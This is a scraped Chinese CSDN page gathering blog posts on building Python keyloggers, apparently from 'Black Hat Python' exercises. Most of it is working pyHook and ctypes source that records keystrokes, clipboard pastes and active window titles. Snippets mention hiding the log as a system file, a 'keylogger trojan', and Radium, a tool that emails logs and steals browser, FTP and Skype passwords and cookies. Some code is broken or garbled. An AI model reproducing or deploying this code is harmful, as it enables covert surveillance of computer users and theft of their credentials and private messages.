精华内容
下载资源
问答
  • python键盘记录

    千次阅读 2016-08-01 19:14:14
    python黑帽子 读书实践->记录键盘

    要求



    问题 

    2.在进程切换的时候报错(暂未解决):
    AttributeError: function 'GetWindowThreadProcessID' not found


    代码1

    #-*- coding: utf-8 -*-
    
    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard
    
    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None
    
    
    def get_current_process():
        # 获得窗口句柄
        hwnd = user32.GetForegroundWindow()
    
        # 获得进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数 http://blog.csdn.net/linda1000/article/details/12623527
    
        # 保存当前进程ID
        process_id = "%d" % pid.value
        print process_id
    
        # 申请内存
        executable = create_string_buffer("\x00" * 512)
    
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    
        psapi.GetModuleBaseName(h_process, None, byref(executable), 512)
    
        # 读取窗口标题
        window_title = create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    
        # 输出
        print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    
        # 关闭句柄
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)
    
    
    def KeyStroke(event):
    
        global current_window
    
        # 检查目标是否切换窗口
        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()
    
        # 检测按键是否为常规键
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
    
        else:
            # 如果输入为ctrl-v 则获取剪贴板内容
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
    
                print "[PASTE] - %s" % (pasted_value),
    
            else:
                print "[%s]" % event.Key,
    
        return True
    
    # 创建和注册钩子函数管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke
    
    
    # 注册键盘记录的钩子并永久执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()

    代码2(键盘+鼠标)

    # -*- coding: utf-8 -*-
    import pythoncom
    import pyHook
    
    
    def onMouseEvent(event):
        # 监听鼠标事件
        print "MessageName:", event.MessageName
        print "Message:", event.Message
        print "Time:", event.Time
        print "Window:", event.Window
        print "WindowName:", event.WindowName
        print "Position:", event.Position
        print "Wheel:", event.Wheel
        print "Injected:", event.Injected
        print "---"
    
        # 返回 True 以便将事件传给其它处理程序
        # 注意,这儿如果返回 False ,则鼠标事件将被全部拦截
        # 也就是说你的鼠标看起来会僵在那儿,似乎失去响应了
        return True
    
    
    def onKeyboardEvent(event):
        # 监听键盘事件
        print "MessageName:", event.MessageName
        print "Message:", event.Message
        print "Time:", event.Time
        print "Window:", event.Window
        print "WindowName:", event.WindowName
        print "Ascii:", event.Ascii, chr(event.Ascii)
        print "Key:", event.Key
        print "KeyID:", event.KeyID
        print "ScanCode:", event.ScanCode
        print "Extended:", event.Extended
        print "Injected:", event.Injected
        print "Alt", event.Alt
        print "Transition", event.Transition
        print "---"
    
        # 同鼠标事件监听函数的返回值
        return True
    
    
    def main():
        # 创建一个“钩子”管理对象
        hm = pyHook.HookManager()
    
        # 监听所有键盘事件
        hm.KeyDown = onKeyboardEvent
        # 设置键盘“钩子”
        hm.HookKeyboard()
    
        # 监听所有鼠标事件
        hm.MouseAll = onMouseEvent
        # 设置鼠标“钩子”
        hm.HookMouse()
    
        # 进入循环,如不手动关闭,程序将一直处于监听状态
        pythoncom.PumpMessages()
    
    
    if __name__ == "__main__":
        main()




    代码2简洁版(记录键盘 简单粗暴)

    # -*- coding: utf-8 -*-
    import pythoncom
    import pyHook
    def onKeyboardEvent(event):
        # 监听键盘事件
        print "Key:", event.Key
    def main():
        # 创建一个“钩子”管理对象
        hm = pyHook.HookManager()
    
        # 监听所有键盘事件
        hm.KeyDown = onKeyboardEvent
        # 设置键盘“钩子”
        hm.HookKeyboard()
    
        # 进入循环,如不手动关闭,程序将一直处于监听状态
        pythoncom.PumpMessages()
    
    
    if __name__ == "__main__":
        main()
    



    相似参考

    展开全文
  • Python 键盘记录

    2016-11-04 23:32:00
    之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍 #!/usr/bin/env python# -*-coding:utf-8 -*-from ctypes import *import pythoncomimport pyHookimport win32clipboarduser32 =...

        之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-


    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard


    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None


    def get_current_process():
        hwnd = user32.GetForegroundWindow()
        pid = c_ulong(0)
        user32.GetWindowThreadProcessID(hwnd,byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
        psapi.GetModuleBaseName(h_process,None, byref(executable),512)
        window_title =create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd,byref(window_title),512
        print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


    def KeyStroke(event):
        global current_window
        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s " % (pasted_value),
            else:
                print "[%s]" % event.Key,
        return True


    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke()

    kl.HookKeyboard()
    pythoncom.PumpMessages()

       

    转载于:https://www.cnblogs.com/Lightening2/p/6032099.html

    展开全文
  • Python键盘记录器 一项正在进行中的多平台 Python 键盘记录器。 功能(尚未实现) Linux 上的键盘记录, OSX 上的键盘记录, Windows 上的键盘记录, 将日志保存到文件中, 保存日志并发送到电子邮件, 为每个...
  • python键盘记录.rar

    2021-02-27 19:30:44
    基于python键盘记录
  • pykeylogger, 用于linux的纯 python 键盘记录器 PyKeylogger是一个纯python键盘记录器的概念证明。 它使用 Xlib ( 所以你必须有一个X 连接) 来监视键盘的状态。 以下是你使用它的方式:import keyloggerimport ...
  • 这是我编写的简单的python键盘记录程序。 当前版本的功能:->每次Windows启动时自动执行->隐藏自己->用Windows名称记录每次击键... 如何使用:使用您的一点python知识来运行此代码。 视频教程: :
  • Lo0sR是一个简单的python键盘记录器 可用功能: 当然是键盘记录 通过网络摄像头拍照 截图 如果CTRL-C复制正在复制的内容 转储Chrome中存储的所有密码 转储Chrome历史记录 每5分钟发送一次邮件,其中包含所有收集的...
  • Python-Keylogger:一个简单的python键盘记录程序,它将自己广告到启动文件夹并将日志发送到您在代码中指定的地址
  • 所谓键盘记录,通常指的是记录下用户在键盘上所进行的按键操作,即记录下...今天给大家介绍的就是一款拥有多种功能的键盘记录工具-Radium,该工具采用Python语言编写,它拥有如下所示的多种功能: -应用程序以及键...

    所谓键盘记录,通常指的是记录下用户在键盘上所进行的按键操作,即记录下用户按过哪些键。这种键盘记录活动一般都是在后台悄悄进行的,所以使用键盘的用户通常并不会意识到自己的打字操作受到了非法监控。除此之外,攻击者还可以利用键盘记录来了解目标用户使用计算机的习惯。

    今天给大家介绍的就是一款拥有多种功能的键盘记录工具-Radium,该工具采用Python语言编写,它拥有如下所示的多种功能:

    -应用程序以及键盘记录

    -截图记录

    -通过邮件发送键盘记录

    -恢复密码,适用于Chrome、Mozilla、Filezilla、Core FTP、CyberDuck、FTPNavigator、WinSCP、Outlook、Putty和Skype等等

    -Cookie窃取

    -自动更新功能

    -收集系统信息,包括内部/外部IP地址、Ipconfig及/all输出和平台版本。

    工具下载
    Radium:【GitHub主页】

    依赖组件

    1.      PyHook
    2.      PyWin32
    3.      MicrosoftVisual C++ Compiler for Python
    4.      PyInstaller
    

    工具使用

    -下载依赖库

    -设置Gmail邮箱用户名及密码,将Gmail的安全设置级别降至最低来允许所有的连接;

    -设置FTP服务器,包括IP、用户名和密码,以及需要存储新版本Radium的目录;

    -记得对密码使用base64编码进行处理;

    -在copytostartup()中设置originalfilename变量,即exe文件的名称;

    -使用Pyinstaller制作exe文件;

    -在记录下300次(可修改)用户击键操作之后会自动通过邮件向攻击者发送键盘记录;

    -在记录下500次(可修改)用户击键操作之后会自动进行屏幕截图;

    -请记住,当你将Radium转换成exe格式之后,要修改copytostartup()函数中的originalfilename和coppiedfilename变量。

    工具截图
    多功能Python键盘记录工具 - Radium

    待增加的功能

    > 1.      持久化感染
    > 2.      定时进行屏幕截图
    > 3.      摄像头偷拍
    > 4.      窃取Skype聊天记录
    > 5.      收集凭证
    

    http://www.45zq.cn/portal/article/index/id/192.html

    展开全文
  • python 键盘记录

    千次阅读 2018-01-24 15:34:19
    # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 if event.Key == "V" : win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() ...
    # -*- coding: utf-8 -*-  
    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard
    
    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None
    
    # 
    def get_current_process():
    
        # 获取最上层的窗口句柄
        hwnd = user32.GetForegroundWindow()
    
        # 获取进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd,byref(pid))
    
        # 将进程ID存入变量中
        process_id = "%d" % pid.value
    
        # 申请内存
        executable = create_string_buffer("\x00"*512)
        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    
        psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    
        # 读取窗口标题
        windows_title = create_string_buffer("\x00"*512)
        length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    
        # 打印
        print 
        print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
        print 
    
        # 关闭handles
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)
    
    # 定义击键监听事件函数
    def KeyStroke(event):
    
        global current_window
    
        # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
        if event.WindowName != current_window:
            current_window = event.WindowName
            # 函数调用
            get_current_process()
    
        # 检测击键是否常规按键(非组合键等)
        if event.Ascii > 32 and event.Ascii <127:
            print chr(event.Ascii),
        else:
            # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s" % (pasted_value),
            else:
                print "[%s]" % event.Key,
        # 循环监听下一个击键事件
        return True
    
    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke
    
    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()
    展开全文
  • 要构建键盘记录器,我们需要一种跟踪键盘上每个按键的方法,python中有几个库可以用来执行以下操作: 键盘 PyUserlnput put 安装 pip install pynput 构建我们的键盘记录器 要跟踪按键,我们必须实现一个...
  • 所谓键盘记录,通常指的是记录下用户在键盘上所进行的按键操作,即记录下用户按过哪些键。...今天给大家介绍的就是一款拥有多种功能的键盘记录工具-Radium,该工具采用Python语言编写,它拥有如下所示的多种功能:
  • Python键盘记录器 用python编写的键盘记录器,该键盘记录器记录了所有关键字,然后通过电子邮件发送收集的信息。
  • Python编写键盘记录

    千次阅读 2016-12-12 10:11:00
    Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没有成功,后直接下载python-xlib-0.15...
  • python3键盘记录器 安装python 3然后使用以下命令安装pynput python -m pip install pynput 输出自动保存在正在运行的脚本目录中 按照以下方式使用Shell 3-1)胜利+ R 3-2)粘贴shell:启动然后输入3-3)将...
  • 记录键盘事件,截屏保存图片,并定时打包发送到指定的邮箱,功能可以更加完善,但已满足我个人需要,所以没有继续做了 KeyL:工程主入口文件,里面包含了下面两个文件,在py2exe打包时只需要针对这一个文件打包就行...
  • python 实现键盘记录

    千次阅读 2017-10-13 09:42:22
    from ctypes import * import pythoncom import pyHook ... print "[%s]" % event.Key, #输出键盘按下的键  return True k1 = pyHook.HookManager() k1.KeyDown = KeyStroke k1.HookKeyboar
  • python实现键盘记录木马

    千次阅读 2016-02-18 21:53:12
    下载链接:http://sourceforge.net/projects/pyhook/主干逻辑图当程序运行后,每当用户在键盘按下一个键,就会触发钩子函数,调用 键盘记录函数 记录按键内容,该函数又会调用 进程切换函数 来应对焦点窗口切换的...
  • python实现键盘记录

    千次阅读 2017-06-22 22:43:51
    请先下载相应的Python库,这里有教程:http://blog.sina.com.cn/s/blog_65b9816e0101pzh3.html__author__ = 'lxw'import pythoncom,sys,pyHookfile_log = 'C:\\Systems.log' #把记录的信息伪装成系统log文件 ...
  • 一款用python写的hook,可以用作记录键盘,仅供用来学习python,里面附带源码,请勿用作他用。
  • python实现的键盘记录器小功能代码 博客记录: https://lexsaints.blog.csdn.net/article/details/113736987
  • Python3实现键盘记录

    2021-01-15 22:12:52
    这本书上第八章有一个键盘记录器,但由于书上是python2实现的,以至于在现在无法运行,而且网上几乎没有使用python3实现的,因此自己尝试着实现了一下,但还是有一些问题。 首先是pythoncom和pyhook包的下载 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 455
精华内容 182
关键字:

python键盘记录

python 订阅